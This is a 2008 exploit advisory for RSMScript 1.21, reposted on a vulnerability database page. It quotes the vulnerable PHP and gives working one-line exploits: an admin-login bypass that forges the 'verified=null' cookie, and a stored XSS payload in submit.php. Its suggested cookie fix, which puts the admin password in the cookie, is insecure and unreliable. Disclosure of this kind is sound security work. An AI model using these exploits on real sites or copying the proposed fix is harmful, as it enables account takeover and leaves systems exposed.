Lucene search
K

RSMScript 1.21 XSS/Insecure Cookie Handling Vulnerabilities

🗓️ 17 Dec 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

RSMScript 1.21 XSS/Insecure Cookie Handling Vulnerabilitie

Code

                                                [START]

#########################################################################################
[0x01] Informations:

Script         : RSMScript 1.21
Download       : http://www.hotscripts.com/jump.php?listing_id=78547&jump_type=1
Vulnerability  : Insecure Cookie Handling / XXS
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX

#########################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/verify.php

[CODE]

if($admin_pass == $code)
{
  setcookie("verified", "null", time()+1800);
  header( 'refresh: 0; url=update.php' );
}

[/CODE]

As we can see, if the password "$code" typed is the same of $admin_pass, so you log in,
cookie is set with the name "verified" and with content "null". So, a malicious user
can just set up a cookie with that name and value, and then he will be logged as the 
admin.

[!] FIX: A fix could be to put as a content or cookie name the password. Example:

[CODE] setcookie("verified", "$admin_pass", time()+1800); [/CODE]


[!] EXPLOIT: javascript:document.cookie = "verified=null; path=/";

#########################################################################################
[0x03] Bug: [XSS]
######

To exploit this bug, we must be logged in. Just bypass the login with the Cookie ;)
There are two bugged file.

1) /[path/submit.php
   In this file, we can put arbitrary data into a .txt file.

   [CODE]

    $quote = $_REQUEST['quote'];
    $writePage = fopen('quotes.txt', 'a') or die("can't open file");
	fwrite($writePage, "\t");
    fwrite($writePage, stripslashes($quote));
    fclose($writePage);

   [/CODE]

   [!] FIX: Just filter direct user input.


2) /path/update.php
   This file gets quotes.txt content, and print it directly into html code. 
   In 1) we saw that we can put arbitrary data into this .txt file. Just
   Put js code ;)

   [CODE]

    $quotes = file_get_contents("quotes.txt");
    $quotes= preg_split("/[\t]+/", $quotes);
    $i = 0;
    $noQuotes = sizeOf($quotes);
    while ($i < $noQuotes)
    {
        $quote = $quotes[$i];
        echo '<option value='.$i.'>'.$quote.'</option>';
        $i = $i + 1;
    }

    [/CODE]

    [!] FIX: A fix could be just to filter input before being printed in html code.


## How to exploit this bugs?

[!] EXPLOIT: /[path]/submit.php?quote=<script>alert("XSS")</script>

#########################################################################################
[/END]

# milw0rm.com [2008-12-17]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation